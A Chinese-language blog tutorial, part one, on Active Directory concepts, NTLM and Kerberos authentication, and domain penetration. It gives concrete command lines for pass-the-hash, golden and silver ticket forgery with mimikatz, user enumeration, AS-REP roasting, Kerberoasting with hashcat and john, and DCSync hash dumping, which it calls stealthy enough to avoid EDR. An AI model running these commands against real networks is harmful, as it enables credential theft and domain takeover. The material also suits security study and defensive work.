域渗透的各种概念与方法总结(上)

-- 域 --

概念

  • 活动目录(Active Directory, AD): 指域环境中提供目录服务的组件 由组织单元、域(domain)、域树(tree)、森林(forest)构成的层次结构 域是最基本的管理单元, 其中域树包含多个域, 森林包含多个域树
  • Active Directory数据库(AD)
    • 作用: 目录服务数据库, 存储所有域对象(用户 计算机 组 策略等)的完整信息
  • :
    • 概念: 网络上的用户和计算机组成的一个逻辑组或逻辑集合, Windows网络中独立运行的逻辑组织单元
    • 作用: 能够统一管理实现 权限控制 安全策略分发 数据同步, 如果企业网络中计算机和用户数量较多时, 要实现高效管理, 就需要windows域
    • 域间: 域间需建立 信任关系(Trust Relation) 才能实现资源共享、管理及通信
  • 域控制器(Domain Controller, DC):
    • 概念: 一台安装并运行Active Directory的服务器, 统一管理 帐户数据库 用户登录 资源访问认证及其管理任务
    • 数量: 一个域可有多个域控制器, 各域控制器的地位平等, 并会互相同步信息, 管理员可以在任一台域控制器上更新域中的信息
    • 关键服务: Kerberos认证(用于用户身份验证) DNS服务(解析域内资源名称) SYSVOL共享(存储组策略和脚本)
  • 域用户和计算机
    • 域用户: 当计算机加入域时, 域的全局组Domain Users会被添加到计算机本地User组中, 因此域用户可以在域中的任何一台计算机上登录
    • 计算机账户: 每台加入域的计算机的SYSTEM用户 对应 域中的机器用户(用户名格式为机器名$), 在本地计算机使用SYSTEM用户可以以机器用户的权限进行域内的操作
  • 域工作流程
    1. 用户登录
      • 输入域账户(如user@contoso.com
      • 本地计算机将认证请求转发至域控制器
      • 域控制器验证账户密码,颁发 Kerberos 票据(TGT)
    2. 资源访问
      • 用户访问共享文件夹时,系统使用 Kerberos 票据向域控制器申请 服务票据(ST)
      • 文件服务器验证票据后授权访问
    3. 策略应用
      • 域控制器通过 组策略(GPO) 下发安全设置(如密码复杂度、防火墙规则)
      • 客户端开机时自动从最近的域控制器同步策略

身份认证(NTLM)

  • NTLM使用: NTLM主要用于windows本地和工作组环境的认证, 域环境首选kerberos认证, 但也可使用NTLM
  • NTLM Hash: password -> Unicode转换 -> MD4加密 -> NTLM Hash
  • windows本地认证:
    1. windows本地登录时, 会调用winlogon.exe进程(也就是我们平常见到的登录框)接收用户的密码,
    2. 密码会被传送给进程lsass.exe, 该进程会先在内存中存储一份明文密码, 然后将明文密码加密为NTLM Hash后, 与Windows本地的SAM数据库(%SystemRoot%\system32\config\SAM)中该用户的NTLM Hash对比,
    3. 如果一致则通过认证 注: Windows Vista及以上系统(含Server2008+), lsass.exe默认不存储明文, 只存储NTLM Hash
  • 工作组环境:
    1. 客户端向服务端发送本机的一些信息
    2. 服务端接收后, 生成一个随机的16位的Challenge(挑战随机数), 本地储存后将Challenge返回给客户端
    3. 客户端接收Challenge后, 使用用户输入密码的NTLM Hash对Challenge进行加密生成Response, 将Response发送给服务端
    4. 服务端接收Response, 使用数据库中对应用户的NTLM Hash对之前存储的Challenge进行加密, 得到的结果与接收的Response进行对比, 如果一致则通过认证
  • 域环境:
    1. 首先客户端向服务端发送用户名以及本机的一些信息
    2. 服务端接收后, 生成一个随机的16位的Challenge(挑战随机数), 本地储存后将Challenge返回给客户端
    3. 客户端接收Challenge后, 使用用户输入密码的NTLM Hash对Challenge进行加密生成Response, 将Response发送给服务端
    4. 服务端将 用户名 Challenge Response 发送给域控(DC)
    5. 域控(DC)接收后, 用本地数据库(NTDS.dit)里的NTLM Hash加密Challenge, 将结果与Response比对, 并将结果发送给服务端
    6. 服务端将结果返回给客户端
  • 注: NTLMv1 Response使用DES加密, NTLMv2 Response使用HMAC-MD5加密
    Pasted
    Pasted
    Pasted

身份认证(Kerberos)

  • Kerberos使用: Kerberos主要用于域环境的认证, 是基于票据(Ticket)的认证方式
  • 概念:
    • KDC(Key Distribution Center): 密钥分发中心, 是域控的核心组件之一, 包含两个核心组件AS TGS
    • AS(Kerberos Authentication Service): kerberos认证服务, 负责接收用户的登录请求, 验证用户身份后生成TGT
    • TGS(Ticket Granting Service): 票据授权服务, 接收用户提交的 TGT和"目标服务请求", 验证TGT合法性后, 生成对应服务的票据ST
    • TGT(Ticket Granting Ticket): 票据授予票据, 用于向KDC的TGS申请 访问具体服务的票据ST
    • ST(Service Ticket): 服务票据, 也叫TGT票据, 用于向目标服务提交ST, 验证ST合法性后允许用户访问资源
    • 服务账户: 用于运行 服务、进程、用户程序 的专用账户
    • krbtgt账户: Kerberos认证体系的核心内置账户, 相当于kerberos认证中KDC的服务账户
    • 个人账户: 供给个人登录的账户
  • 用户登录获取TGT(AS-REQ 认证服务请求)
    1. 用户登录时, 向KDC发送输入的 用户名经输入的密码加密的 时间戳和客户端信息(也叫预认证数据)
    2. KDC接收后, 向AD数据库中寻找 对应用户名的密码, 并用该密码解密 预认证数据后, 若解密成功 且时间戳正确, 则通过验证
    3. 通过验证后, KDC利用用户密码加密AS Session Key, 然后生成将用户信息和AS Session Key原文 使用krbtgt用户的密钥加密生成TGT, 并将AS Session Key密文TGT返回给客户端
    4. 客户端接收后, 通过自己的密码 解密AS Session Key, 并将AS Session Key原文TGT缓存到本地
  • 获取ST(TGS-REQ 票据授予服务请求)
    1. 用户向TGS请求ST, 请求中包含经AS Session Key加密的Authenticator(包含时间戳和客户端id等信息)、请求访问的服务名(SPN)、TGT(包含用户信息)
    2. TGS接收后, 使用krbtgt用户的密钥TGT进行解密, 得到AS Session Key原文, 并用其解密Authenticator, 若, 验证时间戳和客户端id信息, 若成功则通过认证
    3. 通过认证后, TGS利用AS Session Key加密的Service Session Key, 并用服务账户密钥加密 请求用户的信息和ServiceSessionKey生成ST, 并将ServiceSessionKey密文ST返回给客户端
  • 使用ST(AP-REQ 应用请求): 利用ST访问服务

-- 域渗透 --

信息收集

  • 判断是否存在域: net config workstation
  • 查看域控主机: 域控主机通常会开启 88(Kerberos) 389(LDAP) 端口 使用fscan等工具进行扫描发现
  • 查看域管
    • 域管理员: net group "domain admins" /domain
    • 域控制器: net group "domain controllers" /domain
  • 查看域计算机的登录情况
    PVEFindADUser.exe -current <域>\<用户> (用户中可用*模糊查询) 使用bloodhound

- 横向 -

哈希传递攻击(PTH)

  • 作用: 登录其它域用户
  • 前提: 得到域用户密码的哈希值
  • 攻击:

    • crackmapexec smb <ip> -u <域用户名> -H <密码哈希> -d <域名> -x "<cmd指令>"

    • impacket-smbexec -hashes :<密码哈希> <域名>/<域用户名>@<ip> -codec gbk

    • impacket-wmiexec -hashes :<密码哈希> <域名>/<域用户名>@<ip> -codec gbk

    • msf执行单个命令的PTH模块: auxiliary/admin/smb/psexec_command

    • msf执行直接就获取到meterpreter的PTH模块: exploit/windows/smb/psexec

    • msf支持对一个网段进行PTH进行验证的模块: exploit/windows/smb/psexec_psh

  • 原理: 哈希传递是针对NTLM协议的攻击技术, 因NTML协议验证身份时无需传输明文密码, 攻击者可以直接通过LM Hash和NTLM Hash访问远程主机或服务,而不需要提供明文密码

票据传递攻击(PTT)

  • 简介: 利用伪造的票据进行身份认证, 其中票据又分为 黄金票据 与 白银票据
  • 黄金票据:
    • 原理: 当拥有krbtgt账户的密钥和sid时, 可以伪造任意TGT, 进而获取域管理权限, 因为TGT 是利用用户信息和AS Session Key原文 使用krbtgt用户的密钥 加密生成的
    • 前提: 知道 krbtgt账户的NTLM Hash/aes256 和 krbtgt账户的sid
    • 利用: mimikatz中输入kerberos::golden /user:<域管> /domain:<所属域名称> /sid:<krbtgt的sid> /krbtgt:<krbtgt的NTLM Hash>生成黄金票据, 再输入kerberos:ptt <黄金票据文件名>导入黄金票据
  • 白银票据:
    • 原理: 当拥有服务账户的HTLM Hash和sid, 可以伪造该服务的ST, 从而访问该用户, 因为ST 是利用 请求用户的信息和AS Session Key 使用 服务账户密钥 加密生成的
    • 前提: 知道 目标服务账户的NTLM Hash 和 目标服务账户的sid
    • 利用: mimikatz中输入kerberos::golden /domain:<所属域名称> /sid:<服务账户sid> /target:<目标服务器的FQDN> /service:<要访问的服务> /rc4:<服务账户NTLM Hash> /user:<要伪造的用户> /ptt

- 爆破/枚举 -

域用户枚举

  • 作用: 爆破出域内存在的用户
  • 攻击方法
    • ./kerbrute_linux_amd64 userenum --dc <域控ip> -d <域名> <用户名字典> -t 10
      注: 只能在域内靶机上运行, 不能通过代理来枚举域内用户
    • msfauxiliary/gather/kerberos_enumusers模块
  • 原理: kerberos认证 发送AS-REQ请求时, 用户不存在 与 密码错误 会返回不同的错误码
  • 错误码: KDC_ERR_C_PRINCIPAL_UNKNOWN(用户不存在); KDC_ERR_PREAUTH_REQUIRED(用户存在且启用预认证)

域用户密码爆破

AS-REP Roasting

  • 作用: 获取个人账户的密码
  • 前提: 用户未启用预认证(Kerberos pre-authentication), 默认是启用的
  • 原理: AS-REQ阶段 当未启用预认证时, 向KDC发送AS-REP认证请求, 若用户存在KDC就会直接返回TGT, 而TGT是使用用户密码哈希进行加密, 所以可以通过爆破来获取用户密码
  • 攻击方法:
    • 获取TGT: GetNPUsers.py -dc-ip <ip地址> -usersfile <用户名字典> <域名>/
    • 爆破: hashcat -m 18200 --force -a 0 '<哈希>' <字典>

Kerberoasting

  • 作用: 获取服务账户的密码
  • 原理: ST是由服务账户的密码哈希进行加密的, 所以通过爆破来获取服务账户的密码
  • 利用:
    • 获取ST: GetUserSPNs.py -dc-ip <域控ip> <域名>/<用户>:<密码> -outputfile tgs
    • 爆破: john --wordlist=<字典> tgs

- 其它攻击 -

DCSync攻击

  • 作用: 获取域内所有用户的密码hash
  • 前提: 拥有域复制权限, 以及能访问目标DC的88(Kerberos)和445(SMB)端口通常情况下以下组内用户拥有 域复制权限 (即默认情况下域管理员组具有该权限)
    • Administrators 组内的用户
    • Domain Admins 组内的用户
    • Enterprise Admins 组内的用户
    • 域管理员/域控主机内的账户
      即拥有 DS-Get-Changes + DS-Get-Changes-All + Replicating-Directory-Changes 权限
  • 攻击方法:
    使用mimikatz

    • 获取单个域用户哈希: mimikatz.exe "lsadump::dcsync /domain:<域名> /user:用户" exit
    • 导出所有域用户哈希: mimikatz.exe "lsadump::dcsync /domain:<域名> /all" exit
      使用meterpreter的kiwi模块
    • kiwi_cmd指令: kiwi_cmd指令实际就是meterpreter内置的mimikatz工具
  • 原理:
    背景: 域内不同域控制器(DC)之间的会进行数据同步复制(默认每15分钟同步依次), 当一个DC从另外一个DC同步数据时, 发起请求的一方会通过目录复制协议(MS-DRSR)来对另外一台域控中的域用户密码进行复制
    攻击原理: DCSync则是模拟DC向真实DC发送数据同步请求, 获取其它域用户凭据数据
  • 特点: 由于利用了Windows RPC协议, 并不需要登陆域控或者在域控上落地文件, 避免触发EDR告警, 因此DCSync时一种非常隐蔽的凭据窃取方式
暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇